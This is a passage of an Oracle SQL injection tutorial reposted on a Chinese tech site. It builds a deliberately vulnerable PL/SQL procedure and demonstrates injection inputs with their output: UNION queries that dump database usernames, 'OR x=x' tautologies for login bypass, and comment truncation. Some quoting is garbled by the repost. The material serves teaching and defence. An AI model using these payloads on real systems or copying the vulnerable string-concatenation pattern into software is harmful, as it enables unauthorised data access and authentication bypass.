|
3
Bill Jones
999555888 999555889 2
Jim Clark
999777888 999777889 1
The sample procedure used is created with the following code. For these tests I have used the default user DBSNMP, who has many privileges that are not necessary for a general user. This user illustrates the problem of Web-based users being limited to least privilege: create or replace procedure get_cust (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):=''''select customer_phone ''''||
''''from customers ''''||
''''where customer_surname=''''''''''''||
lv_surname||'''''''''''''''';
begin
dbms_output.put_line(''''debug:''''||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line(''''::''''||lv_phone);
end loop;
close cv;
end get_cust;
/
It is not possible to simply add another statement onto an existing statement built by the procedure for execution as it is with some other databases, such as MS databases. The following illustrates this with our sample procedure: SQL> exec get_cust(''''x'''''''' select username from all_users where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone from customers where customer_surname=''''x'''' select
username from all_users where ''''x''''=''''x''''
-933ORA-00933: SQL command not properly ended
The procedure expects a surname of a customer and should build a statement of the form: select customer_phone from customers where customer_surname=''''Jones''''
As can be seen, it is possible to add extra SQL after the name by escaping out of the SQL statement by using quotes and adding in the extra SQL. The preceding example shows that an Oracle error is returned if we try and send two statements at once to the RDBMS. Statements in Oracle tools and languages are delimited by semicolons (;) so we can try that next: SQL> exec get_cust(''''x'''''''';select username from all_users where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone from customers where customer_surname=''''x'''';select
username from all_users where ''''x''''=''''x''''
-911ORA-00911: invalid character
Again this doesn’t work, as another Oracle error code is returned. Adding a semicolon after the first statement will not allow a second statement to be executed, so the only way to get Oracle to execute extra SQL is to either extend the existing where clause or to use a union or a subselect. The next example shows how to get extra data from another table. In this case, we will read a list of users in the database from the dictionary view ALL_USERS. SQL> exec get_cust(''''x'''''''' union select username from all_users where ''''''''x''''''''=''''''''x'''');
debug:select customer_phone from customers where customer_surname=''''x'''' union
select username from all_users where ''''x''''=''''x''''
::AURORA$JIS$UTILITY$
::AURORA$ORB$UNAUTHENTICATED
::CTXSYS
::DBSNMP
::MDSYS
::ORDPLUGINS
::ORDSYS
::OSE$HTTP$ADMIN
::OUTLN
::SYS
::SYSTEM
::TRACESVR
The example works! We can also use subqueries to extend an existing select statement. These are less useful, as they cannot alter the existing select list used to add new columns from other tables; however, they can be used to alter which records are returned by the existing query. An example is shown to return all of the records in the table: SQL> exec get_cust(''''x'''''''' or exists (select 1 from sys.dual) and ''''''''x''''''''=''''''''x'''');
debug:select customer_phone from customers where customer_surname=''''x'''' or exists
(select 1 from sys.dual) and ''''x''''=''''x''''
::999444888
::999555888
::999777888
The extra “and ‘x’=’x’” is needed to close the original quote expected in the SQL string in the procedure. The above example returns all of the records in our sample table. This is a simple example and the technique can be used more creatively than in this instance. The next example discusses truncating the rest of a where clause so that all of the records in the table are returned. The classic use of this is the case where the Web application writers have implemented authentication and the method of logging in is to find a valid record in the users table where the username and password match. Such an example could be: select * from appusers where username=’someuser’ and password=’somecleverpassword’
To truncate this behaviour we can make the SQL return all of the records in the table; this usually allows a login to occur. Usually this will return the administrator record first!! Here is an example of truncation with our sample table of customers. All of the records can be returned by using an “OR ‘x’=’x’” in the where clause as follows: SQL> exec get_cust(''''x'''''''' or ''''''''x''''''''=''''''''x'''');
debug:select customer_phone from customers where customer_surname=''''x'''' or ''''x''''=''''x''''
::999444888
::999555888
::999777888
Next, the procedure has been modified to extend the SQL used so that there is a second part of the where clause to truncate. Here is the modified procedure first: create or replace procedure get_cust2 (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):=''''select customer_phone ''''||
''''from customers ''''||
''''where customer_surname=''''''''''''||
lv_surname||'''''''''''' and customer_type=1'''';
begin
dbms_output.put_line(''''debug:''''||lv_stmt);
open cv for lv_stmt;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line(''''::''''||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust2;
This is to demonstrate the use of the “- -“ comment characters to truncate the end of a where clause. This technique is useful where an application screen has more than one entry field that is added to the dynamic SQL and passed to the database. To simplify adding extra SQL to get around all of the fields we can add a “- -“ in what we think is the first field on the screen and first add the SQL we need. The following demonstrates this: SQL> exec get_cust2(''''x'''''''' or ''''''''x''''''''=''''''''x'''''''' --'''');
debug:select customer_phone from customers where customer_surname=''''x'''' or ''''x''''=''''x''''
--'''' and customer_type=1
::999444888
::999555888
::999777888
Running this, we can see that all three records are returned due to the “or” statement. If the comment wasn’t there, we would still include the line “and customer_type=1”. Another example on the same theme allows us to use the union and the select on the table all_users as above and then comment out the rest of the where clause. All of the above examples show select statements being injected with extra SQL. The same principles also apply to insert statements, update statements and delete statements. Other statements available in Oracle include DDL (Data Definition Language) statements, which are statements to alter the schema or database instance. Examples include creating tables or indexes or altering the language set used. Statements cannot generally be mixed because, as was illustrated above, we cannot just send two statements to the RDBMS at the same time, so if a select statement is the only one available we cannot just add a delete or insert to it. Often applications include a way to send any SQL to the server. This is bad programming practice, as it allows statements such as DDL to be executed. It can be argued that this case is not SQL injection because any SQL can be executed, therefore you do not need to alter an existing piece! The final piece of the puzzle to talk about is packages, procedures and functions. It is possible to call PL/SQL functions from SQL statements. The rules vary slightly with each version of Oracle and indeed it was not possible to do so until PL/SQL version 2.1, which came with Oracle RDBMS version 7.1. There are literally thousands of built-in functions and procedures provided with the standard packages. These generally start with DBMS or UTL. The headers can be found in $ORACLE_HOME/rdbms/admin or a list of packages procedures or functions can be obtained by querying the database as follows: SQL> col owner for a15
SQL> col object_type for a30
SQL> col object_name for a30
SQL> select owner,object_type,object_name
2 from dba_objects
3 where object_type in(''''PACKAGE'''',''''FUNCTION'''',''''PROCEDURE'''');
OWNER OBJECT_TYPE OBJECT上一页 [1] [2] [3] 下一页
[Access]sql随机抽取记录 [Access]ASP&SQL让select查询结果随机排序的实现方法
[系统软件]EXP-00008: ORACLE error 904 encountered的解决方… [系统软件]Explanation of UFT-8 and Unicode
[系统软件]Using dllimport and dllexport in C++ Classes [系统软件]SQL语句性能优化--LECCO SQL Expert
[常用软件]神奇 我家的照片会唱歌 照片会唱歌 [常用软件]PB7 连接 Oracle 的配置方法
[C语言系列]SQL Server到DB2连接服务器的实现 [C语言系列]SQL Server到SYBASE连接服务器的实现
| 
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 
